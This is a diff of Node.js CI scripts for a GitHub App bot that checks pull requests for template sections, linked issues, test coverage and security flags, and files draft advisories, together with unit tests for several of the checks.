'suspicious-test': 'high',
'build-script-change': 'medium',
};
const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
function worstSeverity(flags) {
return flags.reduce((worst, f) => {
const s = SEVERITY_MAP[f.check] ?? 'medium';
return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
}, 'low');
}
export function buildAdvisoryPayload(prNumber, prTitle, flags) {
const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
return {
summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
description: [
`**PR:** #${prNumber} — ${prTitle}`,
`**Checks triggered:** ${checkNames}`,
'',
'**Details:**',
...flags.map(f => [
`- \`${f.check}\`: ${f.file ?? ''}`,
f.pattern ? ` (pattern: ${f.pattern})` : '',
f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
f.line ? `\n \`${f.line}\`` : '',
].join('')),
'',
'> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
].join('\n'),
severity: worstSeverity(flags),
vulnerabilities: [],
};
}
export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
if (existing) {
const advisoryId = existing.ghsa_id ?? existing.id;
if (!advisoryId) {
throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
}
// PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
// The field is only valid on POST when creating the draft; updates must omit it.
const { vulnerabilities, ...patchPayload } = payload;
return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(patchPayload),
});
}
return fetchImpl(`/repos/${repo}/security-advisories`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
});
}
// Cap pagination so a large backlog of unrelated draft advisories cannot stall
// the security gate (it runs inside a 5-minute workflow timeout).
const MAX_DRAFT_ADVISORY_PAGES = 20;
export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
const prMarker = `PR #${prNumber}`;
for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
const advisories = await fetchImpl(
`/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
token,
);
if (!Array.isArray(advisories) || advisories.length === 0) return null;
const existing = advisories.find(advisory =>
typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
);
if (existing) return existing;
if (advisories.length < 100) return null;
}
console.warn(
`[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
'treating as new advisory. A duplicate draft may be created.',
);
return null;
}
export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
await fetchImpl(`/repos/${repo}/check-runs`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(hasFlags ? {
name: 'security-review',
head_sha: headSha,
// `completed/neutral` instead of `in_progress` so the check doesn't put
// the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
// durable signal for maintainers; there is no completion path that
// could ever flip an `in_progress` check-run back to completed on the
// same head SHA, so it would hang forever.
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
} : {
name: 'security-review',
head_sha: headSha,
status: 'completed',
conclusion: 'success',
output: {
title: 'Security Review Passed',
summary: 'No security concerns detected.',
},
}),
});
}
// ── Main ──────────────────────────────────────────────────────────────────────
// Wall-clock budget for the whole script. The workflow job has a 5-minute
// timeout-minutes, and `continue-on-error: true` on a step does NOT override
// a job-level timeout — it only suppresses step failures. So if any API call
// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
// failing the `review` check. This watchdog enforces the script's documented
// "always exit 0" contract regardless of API behaviour.
export const SCRIPT_WATCHDOG_MS = 90_000;
export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
const timer = setTimeout(() => {
console.warn(
`[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
);
exit(0);
}, timeoutMs);
// Don't keep the event loop alive solely for the watchdog.
timer.unref?.();
return timer;
}
async function main() {
const watchdog = startScriptWatchdog();
const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
if (stalePaths.length > 0) {
console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
for (const p of stalePaths) console.error(` - ${p}`);
console.error('');
console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
process.exit(1);
}
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const allFlags = [
...scanSecrets(files),
...scanCITampering(files),
...scanBuildScripts(files),
...scanSupplyChain(files),
...scanTestPatterns(files),
...scanSensitivePaths(files),
];
if (allFlags.length > 0) {
console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
await Promise.all([
syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
]);
} else {
console.log('[security] all clear');
await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
}
// Always exit 0 — security flags are silent, never block the PR publicly
clearTimeout(watchdog);
process.exit(0);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+88
View File
@@ -0,0 +1,88 @@
#!/usr/bin/env node
/**
* check-pr-template.mjs
* Checks that a PR body contains all required sections from the PR template.
* Export: checkTemplate(prBody: string) → { passed: boolean, failures: string[] }
*/
import { fileURLToPath } from 'node:url';
const REQUIRED_SECTIONS = [
{ heading: '## Thinking Path', minSentences: 3 },
{ heading: '## What Changed', minSentences: 1 },
{ heading: '## Verification', minSentences: 1 },
{ heading: '## Risks', minSentences: 1 },
{ heading: '## Model Used', minSentences: 1 },
];
const MODEL_PLACEHOLDERS = [
'provider, model id',
'your model',
'<model>',
];
function extractSectionContent(body, heading) {
const idx = body.indexOf(heading);
if (idx === -1) return null;
const after = body.slice(idx + heading.length);
const nextHeading = after.search(/\n## /);
return (nextHeading === -1 ? after : after.slice(0, nextHeading)).trim();
}
function countSentences(text) {
// Split on terminal punctuation, bullet/quote line starts (`-`, `*`, `>`), or
// blank lines so non-prose Thinking Paths (bullet lists, blockquotes) are
// counted by item rather than as a single sentence.
return text.split(/[.!?]+\s+|\n\s*[-*>]+\s+|\n{2,}/).filter(s => s.trim().length > 5).length;
}
export function checkTemplate(body) {
const failures = [];
if (!body || !body.trim()) {
for (const { heading } of REQUIRED_SECTIONS) {
failures.push(`Missing section: **${heading}**`);
}
return { passed: false, failures };
}
for (const { heading, minSentences } of REQUIRED_SECTIONS) {
const content = extractSectionContent(body, heading);
if (content === null) {
failures.push(`Missing section: **${heading}**`);
continue;
}
if (!content || content === '_No response_' || /^<!--/.test(content)) {
failures.push(`Empty section: **${heading}**`);
continue;
}
if (heading === '## Thinking Path') {
const n = countSentences(content);
if (n < minSentences) {
failures.push(
`**Thinking Path** needs more detail (${n} sentence${n === 1 ? '' : 's'} — aim for 3+)`
);
}
}
if (heading === '## Model Used') {
const lower = content.toLowerCase();
if (MODEL_PLACEHOLDERS.some(p => lower.includes(p.toLowerCase()))) {
failures.push(
'**Model Used** contains placeholder text — please specify the actual model used (or "None — human-authored")'
);
}
}
}
return { passed: failures.length === 0, failures };
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const result = checkTemplate(body);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
@@ -0,0 +1,83 @@
#!/usr/bin/env node
/**
* check-pr-test-coverage.mjs
* Checks that a PR diff includes at least one test file. Respects conventional
* commit prefixes — skips check for docs/chore/build/ci/style/refactor PRs.
* Also detects mismatch: docs/chore PRs that contain real source code changes.
* Export: checkTestCoverage(files, prTitle) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
const TEST_PATTERNS = [
/\.test\.(ts|js|tsx|jsx|mjs|cjs)$/,
/\.spec\.(ts|js|tsx|jsx|mjs|cjs)$/,
/(?:^|\/)tests?\//,
/\/__tests__\//,
];
const SOURCE_CODE_PATTERN = /\.(ts|tsx|js|jsx|mjs|cjs)$/;
// Prefixes where test coverage is NOT required
const SKIP_TEST_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'refactor', 'revert'];
// Prefixes where source code changes are NOT expected (mismatch detection)
// Note: 'style' is excluded — formatting PRs legitimately touch source files
const NO_SOURCE_CODE_PREFIXES = ['docs', 'chore', 'build', 'ci'];
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
function isSourceFile(filename) {
if (!SOURCE_CODE_PATTERN.test(filename)) return false;
if (TEST_PATTERNS.some(p => p.test(filename))) return false;
return true;
}
export function checkTestCoverage(files, prTitle = '') {
const prefix = parsePrefix(prTitle);
// Mismatch detection: docs/chore/etc PR with real source code changes
if (prefix && NO_SOURCE_CODE_PREFIXES.includes(prefix)) {
const sourceChanges = files.filter(f => f.status !== 'removed' && isSourceFile(f.filename));
if (sourceChanges.length > 0) {
return {
passed: false,
failures: [
`PR is titled \`${prefix}:\` but includes source code changes ` +
`(${sourceChanges.slice(0, 3).map(f => f.filename).join(', ')}` +
`${sourceChanges.length > 3 ? ', ...' : ''}). ` +
`Please retitle as \`fix:\`, \`feat:\`, or \`refactor:\` so the right gates run, ` +
`or remove the source code changes if this is genuinely a \`${prefix}:\` PR.`,
],
};
}
}
// Skip test requirement for prefixes that don't change behavior
if (prefix && SKIP_TEST_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
const hasTests = files.some(
f => f.status !== 'removed' && TEST_PATTERNS.some(p => p.test(f.filename))
);
return {
passed: hasTests,
failures: hasTests ? [] : [
'No test files detected in this PR — please include a test that verifies the bug fix or new behavior. ' +
'If this PR genuinely doesn\'t need a test (e.g. a refactor), please retitle with `refactor:` prefix.',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const files = JSON.parse(process.env.PR_FILES ?? '[]');
const title = process.env.PR_TITLE ?? '';
const result = checkTestCoverage(files, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env node
/**
* fetch-pr-files.mjs
* Fetches the full changed-file list for a PR across GitHub pagination.
*/
export async function fetchAllPullRequestFiles(ghFetchFn, repo, prNumber, token) {
const files = [];
for (let page = 1; ; page += 1) {
const batch = await ghFetchFn(
`/repos/${repo}/pulls/${prNumber}/files?per_page=100&page=${page}`,
token
);
files.push(...batch);
if (batch.length < 100) {
return files;
}
}
}
+132
View File
@@ -0,0 +1,132 @@
#!/usr/bin/env node
/**
* get-bot-token.mjs
* Generates a short-lived GitHub installation token for the commitperclip app.
* Reads COMMITPERCLIP_KEY env var (PEM content of private key).
* Prints the token to stdout.
*
* Also exports: generateJWT(privateKey), ghFetch(path, token, options)
* These are used by all other gate scripts.
*/
import { createSign } from 'node:crypto';
import { fileURLToPath } from 'node:url';
const APP_ID = '3718661';
const OWNER_PATTERN = /^[a-zA-Z0-9_.-]+$/;
const REPO_PATTERN = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/;
export function generateJWT(privateKey) {
const now = Math.floor(Date.now() / 1000);
const payload = { iat: now - 10, exp: now + 60, iss: APP_ID };
const header = Buffer.from(JSON.stringify({ alg: 'RS256', typ: 'JWT' })).toString('base64url');
const body = Buffer.from(JSON.stringify(payload)).toString('base64url');
const data = `${header}.${body}`;
const sig = createSign('RSA-SHA256').update(data).sign(privateKey, 'base64url');
return `${data}.${sig}`;
}
// Per-call timeout so a single slow/hung GitHub endpoint cannot eat the entire
// workflow budget. Overridable via options.timeoutMs for callers that need
// different bounds.
export const GH_FETCH_DEFAULT_TIMEOUT_MS = 15_000;
export async function ghFetch(path, token, options = {}) {
const { timeoutMs = GH_FETCH_DEFAULT_TIMEOUT_MS, signal: externalSignal, ...fetchOptions } = options;
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(new Error(`ghFetch timeout after ${timeoutMs}ms: ${path}`)), timeoutMs);
const abortOnExternal = () => controller.abort(externalSignal?.reason);
if (externalSignal) {
if (externalSignal.aborted) abortOnExternal();
else externalSignal.addEventListener('abort', abortOnExternal, { once: true });
}
try {
const res = await fetch(`https://api.github.com${path}`, {
...fetchOptions,
signal: controller.signal,
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/vnd.github+json',
'X-GitHub-Api-Version': '2022-11-28',
...fetchOptions.headers,
},
});
const text = await res.text();
if (!res.ok) throw new Error(`GitHub API ${fetchOptions.method ?? 'GET'} ${path} → ${res.status}: ${text}`);
return JSON.parse(text);
} finally {
clearTimeout(timer);
if (externalSignal) externalSignal.removeEventListener('abort', abortOnExternal);
}
}
export async function resolveInstallationId(fetchInstallation, token, repo, owner) {
if (repo) {
if (!REPO_PATTERN.test(repo)) {
throw new Error('ERROR: GH_REPO/GITHUB_REPOSITORY must be in owner/repo format.');
}
const installation = await fetchInstallation(`/repos/${repo}/installation`, token);
return installation.id;
}
const installations = await fetchInstallation('/app/installations', token);
if (!installations.length) {
throw new Error(
'ERROR: No installations found for commitperclip. Install URL: https://github.com/apps/commitperclip/installations/new'
);
}
if (owner) {
if (!OWNER_PATTERN.test(owner)) {
throw new Error('ERROR: GITHUB_REPOSITORY_OWNER must be a valid GitHub owner name.');
}
const match = installations.find(
installation => installation.account?.login?.toLowerCase() === owner.toLowerCase()
);
if (match) {
return match.id;
}
}
if (installations.length === 1) {
return installations[0].id;
}
throw new Error(
'ERROR: Multiple commitperclip installations found. Set GH_REPO or GITHUB_REPOSITORY so the correct installation can be selected.'
);
}
async function main() {
const privateKey = process.env.COMMITPERCLIP_KEY;
if (!privateKey) {
console.error('ERROR: COMMITPERCLIP_KEY env var not set.');
console.error('Add to ~/.bash_profile: export COMMITPERCLIP_KEY="$(cat ~/.config/commitperclip/private-key.pem)"');
process.exit(1);
}
const jwt = generateJWT(privateKey);
const repo = process.env.GH_REPO ?? process.env.GITHUB_REPOSITORY;
const owner = process.env.GITHUB_REPOSITORY_OWNER ?? repo?.split('/')[0];
const installationId = await resolveInstallationId(ghFetch, jwt, repo, owner);
const { token } = await ghFetch(
`/app/installations/${installationId}/access_tokens`,
jwt,
{ method: 'POST', headers: { 'Content-Type': 'application/json' } }
);
if (!token) {
console.error('ERROR: Failed to get installation token from GitHub API.');
process.exit(1);
}
process.stdout.write(token);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+148
View File
@@ -0,0 +1,148 @@
#!/usr/bin/env node
/**
* run-quality-gates.mjs
* Orchestrates all quality gates. Fetches PR data once, runs all gates,
* posts or updates a single consolidated comment via commitperclip.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR, PR_BRANCH
* Exit: 0 if all quality gates pass, 1 if any fail.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { checkTemplate } from './check-pr-template.mjs';
import { checkLinkedIssue } from './check-pr-linked-issue.mjs';
import { checkDedupSearch } from './check-pr-dedup-search.mjs';
import { checkTestCoverage } from './check-pr-test-coverage.mjs';
import { checkLockfile } from './check-pr-lockfile.mjs';
import { checkDependencies } from './check-pr-dependencies.mjs';
const COMMENT_SIGNATURE = '— commitperclip';
function buildComment(author, failures, informational) {
if (failures.length === 0 && informational.length === 0) {
return `✅ All checks passing — ready for Greptile review and maintainer approval.\n\n${COMMENT_SIGNATURE}`;
}
const lines = [
`Hey @${author}! Before this PR can be reviewed, a few things need attention:\n`,
];
if (failures.length > 0) {
lines.push('**Missing or incomplete:**');
for (const f of failures) lines.push(`- [ ] ${f}`);
}
if (informational.length > 0) {
if (failures.length > 0) lines.push('');
lines.push('**Informational:**');
for (const i of informational) lines.push(`- ${i}`);
}
lines.push(
'\nOnce updated, push a new commit and these checks will re-run automatically.\n',
COMMENT_SIGNATURE
);
return lines.join('\n');
}
export async function findExistingComment(fetchFromGitHub, token, repo, prNumber) {
for (let page = 1; ; page += 1) {
const comments = await fetchFromGitHub(
`/repos/${repo}/issues/${prNumber}/comments?per_page=100&page=${page}`,
token
);
const existing = comments.find(
c => (c.user.login === 'commitperclip[bot]' || c.user.login === 'commitperclip') &&
c.body.includes(COMMENT_SIGNATURE)
);
if (existing) return existing;
if (comments.length < 100) return null;
}
}
async function upsertComment(token, repo, prNumber, body, existing) {
if (existing) {
await ghFetch(`/repos/${repo}/issues/comments/${existing.id}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ body }),
});
} else {
await ghFetch(`/repos/${repo}/issues/${prNumber}/comments`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ body }),
});
}
}
async function main() {
const { GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR, PR_BRANCH } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER env vars required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Fetch PR data once — gates use this, no redundant API calls
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const prBody = pr.body ?? '';
const author = PR_AUTHOR ?? pr.user.login;
const branch = PR_BRANCH ?? pr.head.ref;
// Run all quality gates (pure functions run sync, deps check is async)
const prTitle = pr.title ?? '';
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
await Promise.all([
Promise.resolve(checkTemplate(prBody)),
Promise.resolve(checkLinkedIssue(prBody, prTitle)),
Promise.resolve(checkDedupSearch(prBody, prTitle)),
Promise.resolve(checkTestCoverage(files, prTitle)),
Promise.resolve(checkLockfile(files, author, branch)),
checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
]);
const allFailures = [
...templateResult.failures,
...issueResult.failures,
...dedupResult.failures,
...testResult.failures,
...lockfileResult.failures,
];
const informational = depsResult.informational ?? [];
const allPassed = allFailures.length === 0;
const commentBody = buildComment(author, allFailures, informational);
// Post comment if there are failures/informational, or update existing comment
const existing = await findExistingComment(ghFetch, GH_TOKEN, GH_REPO, prNumber);
if (allFailures.length > 0 || informational.length > 0 || existing) {
await upsertComment(GH_TOKEN, GH_REPO, prNumber, commentBody, existing);
}
console.log(JSON.stringify({ passed: allPassed, failures: allFailures, informational }));
process.exit(allPassed ? 0 : 1);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
@@ -0,0 +1,93 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkDedupSearch } from '../check-pr-dedup-search.mjs';
test('passes when dedup checkbox is checked (lowercase x)', () => {
const body = `
## Checklist
- [x] I searched the GitHub PR list (open + recently closed) for similar PRs and confirmed this is not a duplicate
- [ ] Other thing
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('passes when dedup checkbox is checked (uppercase X)', () => {
const body = `- [X] I have searched GitHub for duplicate or related PRs and linked them above`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('passes with current PR template wording (master)', () => {
const body = `
- [x] I have searched GitHub for duplicate or related PRs and linked them above
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('fails when dedup checkbox is present but unchecked', () => {
const body = `
- [ ] I searched for similar open/closed PRs and confirmed this is not a duplicate
- [ ] Other thing
`;
const result = checkDedupSearch(body, 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails when dedup checkbox is missing entirely', () => {
const body = `
## Checklist
- [x] I have run tests locally
- [x] I have updated documentation
`;
const result = checkDedupSearch(body, 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails when PR body is empty (and no skip prefix)', () => {
const result = checkDedupSearch('', 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('skips check for docs: prefix', () => {
assert.equal(checkDedupSearch('', 'docs: update README').passed, true);
});
test('skips check for chore: prefix', () => {
assert.equal(checkDedupSearch('', 'chore: bump deps').passed, true);
});
test('skips check for ci: prefix', () => {
assert.equal(checkDedupSearch('', 'ci: tweak workflow').passed, true);
});
test('skips check for test: prefix', () => {
assert.equal(checkDedupSearch('', 'test: add coverage').passed, true);
});
test('requires checkbox for feat: prefix', () => {
assert.equal(checkDedupSearch('Some description without checkbox', 'feat: new thing').passed, false);
});
test('does not match unrelated checked items mentioning "PR"', () => {
const body = `
- [x] I have run tests locally and they pass
- [x] All Paperclip CI gates are green
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, false);
});
test('matches asterisk bullet style', () => {
const body = `* [x] I searched GitHub for similar PRs and this is not a duplicate`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('does not match when "pr" only appears inside an unrelated word', () => {
// "approaches" contains the letters "pr" but is not the token "PR/PRs".
// Without a word-boundary anchor the regex would incorrectly pass.
const body = `- [x] I searched for similar approaches to this problem`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, false);
});
@@ -0,0 +1,65 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkDependencies, resolveBaseRef } from '../check-pr-dependencies.mjs';
test('resolveBaseRef: returns the explicit base ref without making API calls', async () => {
const baseRef = await resolveBaseRef(async () => {
throw new Error('should not fetch');
}, 'token', 'paperclipai/paperclip', 6469, 'release/1.2');
assert.equal(baseRef, 'release/1.2');
});
test('resolveBaseRef: falls back to the PR base ref', async () => {
const seenPaths = [];
const baseRef = await resolveBaseRef(async (path) => {
seenPaths.push(path);
return { base: { ref: 'main' } };
}, 'token', 'paperclipai/paperclip', 6469);
assert.equal(baseRef, 'main');
assert.deepEqual(seenPaths, ['/repos/paperclipai/paperclip/pulls/6469']);
});
test('checkDependencies: compares package files against the resolved base ref instead of master', async () => {
const seenPaths = [];
const result = await checkDependencies(
[{ filename: 'packages/foo/package.json', status: 'modified' }],
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
if (path.includes('ref=release%2F1.2')) {
return {
content: Buffer.from(JSON.stringify({
dependencies: { existing: '^1.0.0' },
})).toString('base64'),
};
}
if (path.includes('ref=refs%2Fpull%2F6469%2Fhead')) {
return {
content: Buffer.from(JSON.stringify({
dependencies: {
existing: '^1.0.0',
added: '^2.0.0',
},
})).toString('base64'),
};
}
throw new Error(`Unexpected path: ${path}`);
}
);
assert.equal(result.passed, true);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /`added`/);
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/contents/packages/foo/package.json?ref=release%2F1.2',
'/repos/paperclipai/paperclip/contents/packages/foo/package.json?ref=refs%2Fpull%2F6469%2Fhead',
]);
});
@@ -0,0 +1,223 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkLinkedIssue, hasInlineIssueDescription } from '../check-pr-linked-issue.mjs';
// Existing tests with title parameter added (defaults to no prefix, so still required)
test('passes with bare #NNN reference', () => {
assert.equal(checkLinkedIssue('This fixes the bug in #123', 'fix: something').passed, true);
});
test('passes with "Fixes #NNN"', () => {
assert.equal(checkLinkedIssue('Fixes #456\n\nSome description', 'fix: something').passed, true);
});
test('passes with "Closes #NNN" (case-insensitive)', () => {
assert.equal(checkLinkedIssue('closes #789', 'fix: something').passed, true);
});
test('passes with "Resolves #NNN"', () => {
assert.equal(checkLinkedIssue('Resolves #101', 'fix: something').passed, true);
});
test('passes with "Refs #NNN"', () => {
assert.equal(checkLinkedIssue('Refs #202', 'fix: something').passed, true);
});
test('passes with "refs #NNN" (case-insensitive)', () => {
assert.equal(checkLinkedIssue('refs #303', 'fix: something').passed, true);
});
test('passes with full github.com URL', () => {
assert.equal(
checkLinkedIssue('See https://github.com/paperclipai/paperclip/issues/202', 'fix: bug').passed,
true
);
});
test('passes with a full github.com URL followed by punctuation', () => {
assert.equal(
checkLinkedIssue('See (https://github.com/paperclipai/paperclip/issues/202).', 'fix: bug').passed,
true
);
});
test('fails with empty body when no skip prefix', () => {
const result = checkLinkedIssue('', 'fix: bug');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails with no issue reference when no skip prefix', () => {
const result = checkLinkedIssue('Added a cool feature, no issue linked', 'feat: something');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('Fixes #NNN'));
});
test('fails with cross-repo issue reference', () => {
const result = checkLinkedIssue('See https://github.com/other/repo/issues/123', 'fix: bug');
assert.equal(result.passed, false);
});
test('fails when the Paperclip issue URL is embedded inside another host', () => {
const result = checkLinkedIssue(
'See https://evil.example/https://github.com/paperclipai/paperclip/issues/123',
'fix: bug'
);
assert.equal(result.passed, false);
});
test('fails when the Paperclip issue URL continues into another host', () => {
const result = checkLinkedIssue(
'See https://github.com/paperclipai/paperclip/issues/123.evil.example',
'fix: bug'
);
assert.equal(result.passed, false);
});
test('fails when #NNN is part of a word (no space before)', () => {
const result = checkLinkedIssue('This is version#123 not an issue link', 'fix: bug');
assert.equal(result.passed, false);
});
// Prefix-aware skip behavior
test('skips check for docs: prefix', () => {
assert.equal(checkLinkedIssue('', 'docs: update README').passed, true);
});
test('skips check for chore: prefix', () => {
assert.equal(checkLinkedIssue('', 'chore: bump deps').passed, true);
});
test('skips check for build: prefix', () => {
assert.equal(checkLinkedIssue('', 'build: update Dockerfile').passed, true);
});
test('skips check for ci: prefix', () => {
assert.equal(checkLinkedIssue('', 'ci: add workflow').passed, true);
});
test('skips check for test: prefix', () => {
assert.equal(checkLinkedIssue('', 'test: add coverage').passed, true);
});
test('skips check with scoped prefix like docs(api):', () => {
assert.equal(checkLinkedIssue('', 'docs(api): document endpoint').passed, true);
});
test('requires issue for feat: prefix', () => {
assert.equal(checkLinkedIssue('Some description without issue', 'feat: new thing').passed, false);
});
test('requires issue for refactor: prefix', () => {
assert.equal(checkLinkedIssue('Some refactor', 'refactor: rewrite thing').passed, false);
});
test('requires issue when no prefix (encourages prefix usage)', () => {
assert.equal(checkLinkedIssue('No prefix here', 'Add some feature').passed, false);
});
// Inline issue description (path 2)
const BUG_INLINE_BODY = `
## What happened?
Login button does nothing when clicked.
## Expected behavior
Clicking the login button should authenticate the user.
## Steps to reproduce
1. Open the app
2. Click login
3. Nothing happens
`;
const FEATURE_INLINE_BODY = `
## Problem or motivation
We don't have a way to bulk-tag issues.
## Proposed solution
Add a bulk-tag action to the issues list.
## Alternatives considered
Tagging individually — too slow.
`;
const ADAPTER_INLINE_BODY = `
## Agent or provider
Gemini CLI
## Why this adapter is useful
Lots of users want Gemini as an alternative model option.
## How the agent is invoked
Via the \`gemini\` CLI binary with stdin/stdout JSON.
`;
test('passes with inline bug description (3 template fields, feat: prefix)', () => {
assert.equal(checkLinkedIssue(BUG_INLINE_BODY, 'feat: fix login button').passed, true);
});
test('passes with inline feature description (3 template fields)', () => {
assert.equal(checkLinkedIssue(FEATURE_INLINE_BODY, 'feat: bulk tag').passed, true);
});
test('passes with inline adapter description (3 template fields)', () => {
assert.equal(checkLinkedIssue(ADAPTER_INLINE_BODY, 'feat: gemini adapter').passed, true);
});
test('fails with only two bug template fields (below threshold)', () => {
const body = `
## What happened?
Something broke.
## Expected behavior
It should work.
`;
assert.equal(checkLinkedIssue(body, 'feat: fix').passed, false);
});
test('fails with a single stray template-like heading', () => {
const body = `
This is mostly a free-form description but one heading happens to match.
## Expected behavior
Everything works.
`;
assert.equal(checkLinkedIssue(body, 'feat: fix').passed, false);
});
test('hasInlineIssueDescription returns true for ≥3 bug fields', () => {
assert.equal(hasInlineIssueDescription(BUG_INLINE_BODY), true);
});
test('hasInlineIssueDescription returns false for empty body', () => {
assert.equal(hasInlineIssueDescription(''), false);
});
test('hasInlineIssueDescription accepts bolded labels with colons', () => {
const body = `
**Problem:**
We need this.
